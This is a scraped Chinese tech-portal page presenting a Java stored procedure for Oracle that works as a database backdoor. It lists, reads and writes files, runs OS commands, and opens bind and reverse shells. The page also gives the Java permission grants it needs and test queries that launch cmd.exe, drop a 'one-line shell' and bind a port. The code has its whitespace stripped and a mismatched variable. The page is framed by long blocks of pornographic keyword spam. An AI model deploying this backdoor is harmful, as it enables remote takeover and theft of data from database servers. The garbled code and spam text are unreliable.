精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

事例解析Oracle函數

數據庫 Oracle
這里介紹用Oracle函數調用JAVA的靜態方法,首先在Oracle數據庫建立JAVA對象, 這個版本的SQLJ-SHELL 只能支持正向連接,反向連接的時候有BUG 不建議使用。

在向大家詳細介紹Oracle函數之前,首先讓大家了解下Oracle數據庫建立JAVA對象,然后全面介紹Oracle函數,希望對大家有用。首先在Oracle數據庫建立JAVA對象, 這個版本的SQLJ-SHELL 只能支持正向連接,反向連接的時候有BUG 不建議使用,不知道是ORA支持JAVA的問題還是個人能力有限:

  1. createorreplaceandcompilejavasourcenamedistoas  
  2. importjava.io.*;  
  3. importjava.net.*;  
  4. publicclassISTO{  
  5. //author:kj021320  
  6. //team:I.S.T.O  
  7. publicstaticStringlistFolder(Stringpath){  
  8. Filef=null;  
  9. Stringstr="";  
  10. f=newFile(path);  
  11. String[]ffiles=f.list();  
  12. if(files!=null)  
  13. for(inti=0;i<files.length;i++){  
  14. str+=files[i]+"\r\n";  
  15. }  
  16. returnstr;  
  17. }  
  18. publicstaticStringsaveFile(Stringfilepath,Stringvalue){  
  19. FileOutputStreamfos=null;  
  20. try{  
  21. fos=newFileOutputStream(filepath);  
  22. fos.write(value.getBytes());  
  23. return"OK";  
  24. }catch(Exceptione){  
  25. returne.getMessage();  
  26. }finally{  
  27. if(fos!=null){  
  28. try{fos.close();}catch(Exceptione){}  
  29. }  
  30. }  
  31. }  
  32. publicstaticStringreadFile(Stringpathfile,Stringcode){  
  33. BufferedReaderbr=null;  
  34. Stringvalue="";  
  35. try{  
  36. br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));  
  37. Strings=null;  
  38. while((s=br.readLine())!=null){  
  39. value+=s;  
  40. }  
  41. returnvalue;  
  42. }catch(Exceptione){  
  43. returne.getMessage();  
  44. }finally{  
  45. if(br!=null){try{br.close();}catch(IOExceptione){}}  
  46. }  
  47. }  
  48. publicstaticStringexecFile(Stringfilepath,Stringcode){  
  49. inti=0;  
  50. RuntimeRuntimert=Runtime.getRuntime();  
  51. Stringoutput="";  
  52. InputStreamReaderisr=null;  
  53. char[]bufferC=newchar[1024];  
  54. try{  
  55. Processps=rt.exec(filepath);  
  56. isr=newInputStreamReader(ps.getInputStream(),code);  
  57. while((i=isr.read(bufferC,0,bufferC.length))!=-1){  
  58. output+=newString(bufferC,0,i);  
  59. }  
  60. returnoutput;  
  61. }catch(Exceptione){  
  62. returne.getMessage();  
  63. }finally{  
  64. if(isr!=null)try{isr.close();}catch(IOExceptione){}  
  65. }  
  66. }  
  67. publicstaticStringbindShell(intport){  
  68. ServerSocketss=null;  
  69. Sockets=null;  
  70. try{  
  71. ss=newServerSocket(port);  
  72. s=ss.accept();  
  73. newoptShell(ss,s).start();  
  74.  
  75. return"OK";  
  76. }catch(Exceptione){  
  77. returne.getMessage();  
  78. }  
  79. }  
  80. publicstaticStringreverseShell(Stringhost,intport){  
  81. Sockets=null;  
  82. try{  
  83. s=newSocket(host,port);  
  84. newoptShell(null,s).start();  
  85. return"OK";  
  86. }catch(Exceptione){  
  87. returne.getMessage();  
  88. }  
  89. }  
  90. publicstaticclassoptShellextendsThread{  
  91. OutputStreamos=null;  
  92. InputStreamis=null;  
  93. ServerSocketss;  
  94. Sockets;  
  95. publicoptShell(ServerSocketss,Sockets){  
  96. this.ss=ss;  
  97. this.s=s;  
  98. try{  
  99. this.is=s.getInputStream();  
  100. this.os=s.getOutputStream();  
  101. }catch(Exceptione){  
  102. if(os!=null)try{os.close();}catch(Exceptionex){}  
  103. if(is!=null)try{is.close();}catch(Exceptionex){}  
  104. if(s!=null)try{s.close();}catch(Exceptionex){}  
  105. if(ss!=null)try{ss.close();}catch(Exceptionex){}  
  106. }  
  107. }  
  108. publicvoidrun(){  
  109. BufferedReaderbr=newBufferedReader(newInputStreamReader(is));  
  110. Stringline="";  
  111. Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";  
  112. try{  
  113. //os.write(cmdhelp.getBytes());  
  114. line=br.readLine();  
  115. while(!"exit".equals(line)){  
  116. if(line.length()>3){  
  117. StringBuffersb=newStringBuffer(line.trim());  
  118. Stringcmd=sb.substring(0,4);  
  119. if(cmd.equals("list")){  
  120. os.write("inputyoupath:\r\n".getBytes());  
  121. line=br.readLine();  
  122. os.write(listFolder(line).getBytes());  
  123. }elseif("save".equals(cmd)){  
  124. os.write("inputyoufilepath:\r\n".getBytes());  
  125. line=br.readLine();  
  126. os.write("inputyouvalue:\r\n".getBytes());  
  127. os.write(saveFile(line,br.readLine()).getBytes());  
  128. }elseif("read".equals(cmd)){  
  129. os.write("inputyoufilepath:\r\n".getBytes());  
  130. line=br.readLine();  
  131. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  132. os.write(readFile(line,br.readLine()).getBytes());  
  133. }elseif("exec".equals(cmd)){  
  134. os.write("inputyourunfilepath:\r\n".getBytes());  
  135. line=br.readLine();  
  136. os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
  137. os.write(execFile(line,br.readLine()).getBytes());  
  138. }else{  
  139. os.write(cmdhelp.getBytes());  
  140. }  
  141. }else{  
  142. os.write(cmdhelp.getBytes());  
  143. }  
  144. line=br.readLine();  
  145. }  
  146. }catch(Exceptione){  
  147. e.printStackTrace();  
  148. }finally{  
  149. if(os!=null)try{os.close();}catch(Exceptione){}  
  150. if(is!=null)try{is.close();}catch(Exceptione){}  
  151. if(s!=null)try{s.close();}catch(Exceptione){}  
  152. if(ss!=null)try{ss.close();}catch(Exceptione){}  
  153. }  
  154. }  
  155. }  

以上建立完成之后 需要用Oracle函數調用JAVA的靜態方法:
◆列舉目錄函數
◆保存文件函數
◆讀文件函數
◆運行文件函數
◆端口綁定 你可以telnet進去

以上Oracle函數轉換操作之后 需要給JAVA授予訪問權限

  1. begin  
  2. Dbms_Java.Grant_Permission('用戶名字','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');  
  3. Dbms_Java.Grant_Permission('用戶名字','java.lang.RuntimePermission','*','writeFileDescriptor');  
  4. Dbms_Java.grant_permission('用戶名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');  
  5. end; 

然后就可以進行文件操作以及 運行程序  開啟網絡!

以下為測試代碼:

  1. SELECT ISTO_LISTFOLDER('/usr') FROM DUAL  
  2. SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;  
  3. SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;  
  4. SELECT ISTO_SAVEFILE('/tmp/1.txt','一句話shell') FROM DUAL;  
  5. SELECT ISTO_BINDSHELL(20000) FROM DUAL 

【編輯推薦】

  1. 詳談Oracle對象特權說明
  2. Oracle系統特權部分介紹
  3. 最常見的Oracle密碼驗證
  4. 簡單探討Oracle介質恢復
  5. 完全干掉Oracle死鎖進程
責任編輯:佚名 來源: 博客園
相關推薦

2010-03-31 10:40:11

Oracle事例

2016-12-19 14:59:00

redis.conf配置事例數據

2017-03-09 13:11:48

Oracle分析函數

2011-04-15 13:02:56

Oracle函數

2009-11-09 14:55:51

Visual Stud

2010-10-25 17:28:05

Oracle bita

2010-10-25 15:12:42

Oracle日期函數

2010-04-02 13:46:30

Oracle數據導出

2011-04-12 15:00:48

Oracle碎片

2009-11-10 15:12:21

Visual Stud

2009-10-27 11:32:42

VB.NET Disp

2009-11-05 14:03:28

Visual Stud

2010-10-25 17:08:34

oracle聚合函數

2010-10-25 14:28:53

oracle trun

2011-04-12 13:27:09

Oracle日期函數

2010-04-14 13:22:10

Oracle系統函數

2010-10-25 16:52:48

oracle管道函數

2010-10-25 17:39:24

Oracle單行日期函

2010-05-10 17:26:14

Oracle sqlp

2010-04-16 13:41:14

Oracle表分區
點贊
收藏

51CTO技術棧公眾號

亚洲精品18在线观看| 日本xxxxxxx免费视频| 亚洲国产综合久久| 涩涩涩久久久成人精品| 成人国产精品免费观看动漫| 在线看日韩欧美| 成人免费视频91| 国产伦精品一区二区三区免.费| 窝窝社区一区二区| 夜夜嗨av一区二区三区中文字幕| 国产精品久久久久不卡| 国产福利在线观看视频| 日本中文字幕中出在线| 蓝色福利精品导航| 国产一区二区三区在线| 日批视频在线免费看| 黄色aaa毛片| 欧美日韩mv| 91精品国产一区二区| 五码日韩精品一区二区三区视频| 亚洲 欧美 视频| 99精品在免费线中文字幕网站一区 | 2023国产精华国产精品| 中文字幕日本不卡| 国产日韩亚洲欧美| 秋霞网一区二区三区| 日本一道高清亚洲日美韩| 久久丝袜美腿综合| 欧美亚洲伦理www| 亚洲国产综合视频| 1区2区3区在线| 99r国产精品| 欧美亚洲成人xxx| 大尺度做爰床戏呻吟舒畅| 男女在线视频| 成人精品视频一区二区三区 | 少妇av在线| 高清成人在线观看| 欧美激情a∨在线视频播放 | 91免费视频网址| 青青草成人在线| 久久成人激情视频| 欧美国产日韩电影| 中文字幕一区二区在线播放| 成人疯狂猛交xxx| 青青草手机在线观看| 99亚洲乱人伦aⅴ精品| 亚洲福中文字幕伊人影院| 国产成人看片| 国产精品久久久久久久妇| 校花撩起jk露出白色内裤国产精品| 五月天视频一区| 日本一区二区精品| 国产又粗又猛又爽又黄的| 伊人久久大香线| 精品久久一区二区三区| 欧美色图色综合| 思思99re6国产在线播放| 韩国v欧美v日本v亚洲v| 久久久久久久999| 成人影视免费观看| 国产极品嫩模在线观看91精品| 亚洲天堂久久久久久久| 国产精品xxxx| 波多野结衣爱爱| 一区二区三区国产精华| 亚洲国产精品字幕| 国产精品久久久毛片| av网站在线免费看推荐| 91丨九色丨国产丨porny| 国产精品久久久久久久久久新婚| www深夜成人a√在线| 国产精品白丝av嫩草影院| 91久久精品一区二区| 青青视频免费在线| 黄色的视频在线免费观看| 国产伦精品一区二区三区免费| 久久久亚洲福利精品午夜| 日韩女同一区二区三区| 中文在线免费一区三区| 在线观看免费亚洲| 成年人网站国产| 免费黄色在线网站| 久久亚洲一区二区三区明星换脸 | 亚洲黄网在线观看| 亚洲欧美一级二级三级| 一区二区欧美激情| 性欧美丰满熟妇xxxx性久久久| 欧美xxxx网站| 一本久久精品一区二区| avav在线播放| 黄色在线播放网站| 久久久久久久久久久久久夜| 成人羞羞视频免费| 国产一区二区三区四区视频| 欧美一级网站| 久久久久久中文| 欧美风情第一页| 精品久久久久久久久久久下田| 精品国产乱码久久久久久图片| 久久精品影视大全| 亚洲人成午夜免电影费观看| 亚洲图片自拍偷拍| 波多野结衣与黑人| 国产日产一区二区| 中文字幕在线不卡国产视频| 日本视频一区二区不卡| 天天操天天干天天爱| 国产.欧美.日韩| 国产日产亚洲精品| 成人免费一区二区三区| 久久久久久亚洲精品杨幂换脸| 久久免费视频网站| 久青草视频在线观看| 亚洲国产精品日韩专区av有中文| 中国人与牲禽动交精品| 色欲狠狠躁天天躁无码中文字幕| 欧美**字幕| 国产视频在线一区二区| 最近日本中文字幕| 亚洲激情77| 亚洲精品日韩丝袜精品| 中文字幕一区二区三区人妻不卡| 欧美一区二区三区红桃小说| 亚洲国产精品资源| 蜜桃精品成人影片| 一区二区三区日本久久久| 亚洲人成自拍网站| 97人妻人人揉人人躁人人| 精品国产一区二区三区av片| 亚洲一区二区精品| 男女全黄做爰文章| 亚洲成人免费| 欧美大荫蒂xxx| 国产真实乱偷精品视频| 亚洲国产片色| 91成人在线播放| 天堂网视频在线| 蜜臀国产一区二区三区在线播放| 国产一区二区香蕉| 国产肥老妇视频| 成人性生交大片免费看中文网站 | 亚洲ab电影| 亚洲人成五月天| 午夜激情福利电影| 午夜视频一区| 97国产在线视频| 伊人久久久久久久久久久久| 奇米888四色在线精品| 成人免费高清完整版在线观看| jizz中国女人| 99久久99久久综合| 日韩精品一区二区三区外面| 国产精品久久久久久福利| 亚洲一区二区三区小说| 青青在线视频免费| 99视频这里有精品| 亚洲电影免费观看高清完整版在线观看| 欧美xxxxx精品| 成人情趣视频| 欧美激情影音先锋| 中文字幕在线天堂| 国产精品69毛片高清亚洲| 国内精品久久国产| sese一区| 亚洲福利视频一区二区| 成人中文字幕av| 91成人福利| 中文字幕日韩在线观看| 国产一级片视频| 日本视频一区二区| 国产女主播一区二区| 午夜免费视频在线国产| 午夜伊人狠狠久久| av亚洲天堂网| 四虎影视精品| 欧美男插女视频| 中文字幕免费高清网站| 国产69精品久久99不卡| 亚洲电影网站| 乱馆动漫1~6集在线观看| 欧美久久一区二区| 国产色视频一区二区三区qq号| 午夜精品亚洲| 国产欧美一区二区三区在线| 五月婷婷免费视频| 亚洲精品国产精品乱码不99| 在线免费观看视频黄| 欧美顶级毛片在线播放| 色琪琪综合男人的天堂aⅴ视频| 国产精品午夜影院| 成人一区二区三区中文字幕| 日韩在线观看电影完整版高清免费| 欧洲性视频在线播放| 欧美另类videos死尸| 国产jjizz一区二区三区视频| 精品成人一区| 91亚洲一区精品| 在线观看黄av| 在线看不卡av| 90岁老太婆乱淫| 亚洲尤物精选| 久久波多野结衣| 国产后进白嫩翘臀在线观看视频| 欧美精品欧美精品系列| 亚洲毛片亚洲毛片亚洲毛片| 性色一区二区三区| 久久精品美女| 深夜成人在线| 日韩精品视频免费在线观看| 国产主播在线播放| 成人一区二区三区| 亚洲精品蜜桃久久久久久| 亚洲精品一区二区三区中文字幕 | 中文字幕欧美激情极品| 久久午夜激情| 看高清中日韩色视频| 国产h片在线观看| 亚洲аv电影天堂网| 国产亚洲色婷婷久久99精品| 国产不卡视频在线观看| 女人被男人躁得好爽免费视频| vam成人资源在线观看| 日韩视频精品在线| 国产美女自慰在线观看| 亚洲色图欧美偷拍| 日本黄色www| 尤物精品在线| 欧美成人在线免费观看| 欧美一区 二区 三区| 国产亚洲精品美女久久久久| 中文av免费观看| 成人免费在线播放视频| 欧美精品色视频| 亚洲午夜极品| 精品视频免费观看| 亚洲电影有码| 欧美成人手机在线| 欧美一区二区黄片| 疯狂做受xxxx欧美肥白少妇| 亚洲午夜精品久久久久久高潮| 蜜桃久久av一区| 天堂а√在线中文在线| 卡通动漫国产精品| 国产91热爆ts人妖在线| 欧美日韩欧美| 亚洲成人网在线| 樱花视频在线免费观看| 中文字幕一区二区在线观看| www日本在线观看| 国产情侣一区| 亚洲午夜精品国产| 在线日韩成人| 国产精品久久久久福利| 91高清在线观看视频| 日韩麻豆第一页| 91在线观看喷潮| 午夜精品久久一牛影视| 中文天堂资源在线| 国产suv一区二区三区88区| 青青艹视频在线| 偷拍欧美精品| 精品国产乱码久久久久久郑州公司| 日韩三区免费| 欧美精品福利在线| 3d成人动漫在线| 亚洲国产日韩欧美综合久久| 黄色av网站免费| 一区二区三区国产豹纹内裤在线| 成年人免费观看视频网站| 激情偷乱视频一区二区三区| 青青草国产精品视频| 欧美国产美女| 久久久久久九九| 精品视频在线播放一区二区三区| 2020国产精品视频| 超碰在线观看免费| 国产亚洲一区二区精品| 隣の若妻さん波多野结衣| 欧美色网站导航| 国产手机在线视频| 亚洲男人电影天堂| 在线观看亚洲大片短视频| av影院午夜一区| 初高中福利视频网站| 蜜臀av亚洲一区中文字幕| 国产91在线视频观看| 欧美成人69| 一本久道久久综合| 加勒比久久综合| 九九九九精品九九九九| 亚洲精品a区| 成人免费黄色网| 四虎国产精品永久在线国在线 | 亚洲精品一区二区三区精华液 | 久久av老司机精品网站导航| 国产aaa一级片| 亚洲日产国产精品| 国产欧美久久久久| 中文字幕乱码亚洲无线精品一区| 无码免费一区二区三区免费播放| 亚洲精品蜜桃乱晃| 黄色99视频| 国产欧美三级电影| 国产成人精品自拍| 7m精品国产导航在线| www国产亚洲精品| 欧美9999| 99久久精品免费看国产一区二区三区| 日韩欧国产精品一区综合无码| 国产精品久久久久久久久免费| 性欧美超级视频| 国产成人一区二区三区电影| 偷拍视频一区二区三区| 国产不卡av在线| 成人免费福利| 国产精品专区一| 亚洲人体在线| 亚洲va男人天堂| 视频一区日韩| av免费精品一区二区三区| 99精品中文字幕在线不卡| 国产精品一区二区三区免费 | 欧美大片免费久久精品三p| 精品人妻久久久久一区二区三区 | 日本一区二区三区在线观看视频| 亚洲精品久久久久中文字幕二区 | 久久久成人精品一区二区三区| 我不卡伦不卡影院| 日本在线视频www色| 欧美午夜免费影院| 久久久久久久久久久视频| 久久综合图片| 中文字幕成人在线视频| 国产乱妇无码大片在线观看| 中文字幕乱妇无码av在线| va亚洲va日韩不卡在线观看| 一级特级黄色片| 国产日产亚洲精品系列| 免费黄色国产视频| 一区二区三区四区激情| 日韩欧美视频在线免费观看| 欧美性20hd另类| 中文字幕+乱码+中文乱码www | 色婷婷综合网站| 国产精品一区三区| 醉酒壮男gay强迫野外xx| 中文字幕av不卡| 玖玖爱免费视频| 日本精品视频一区二区| 国产精品美女一区| 亚洲福利精品在线| www.亚洲视频| 欧美国产日本在线| 天天综合网站| 国产精品国色综合久久| 精品国产一级毛片| www.avtt| 美女看a上一区| 在线看黄色的网站| 中文幕一区二区三区久久蜜桃| 午夜免费激情视频| 色综合一个色综合| 亚洲国产精品久久久久久6q| 亚洲欧洲国产一区| 久久av色综合| 国产欧美日韩中文字幕| 久久97久久97精品免视看秋霞| 日韩欧美一区二区在线观看| 欧美视频网站| 深夜黄色小视频| 91美女视频网站| 欧美精品入口蜜桃| 欧美裸体bbwbbwbbw| 蜜桃视频在线观看网站| 欧美国产在线视频| 国产福利91精品一区二区| 久久av一区二区三区漫画| 一本精品一区二区三区| 日韩一区二区三区不卡视频| 99久久综合色| 青娱乐国产在线视频| 欧美性猛片aaaaaaa做受| 少妇高潮一区二区三区69| 久久精品视频亚洲| 欧洲成人一区| 清纯唯美一区二区三区| 亚洲九九精品| 亚洲图片欧美另类| 亚洲欧美日韩中文字幕一区二区三区| 亚洲中文一区二区| 亚洲国产欧美一区| 国产羞羞视频在线播放| 成人免费在线视频网址| 日韩精品欧美| 99草草国产熟女视频在线| 99热99精品| 国产乡下妇女做爰| 精品久久久久一区| 青青青国内视频在线观看软件|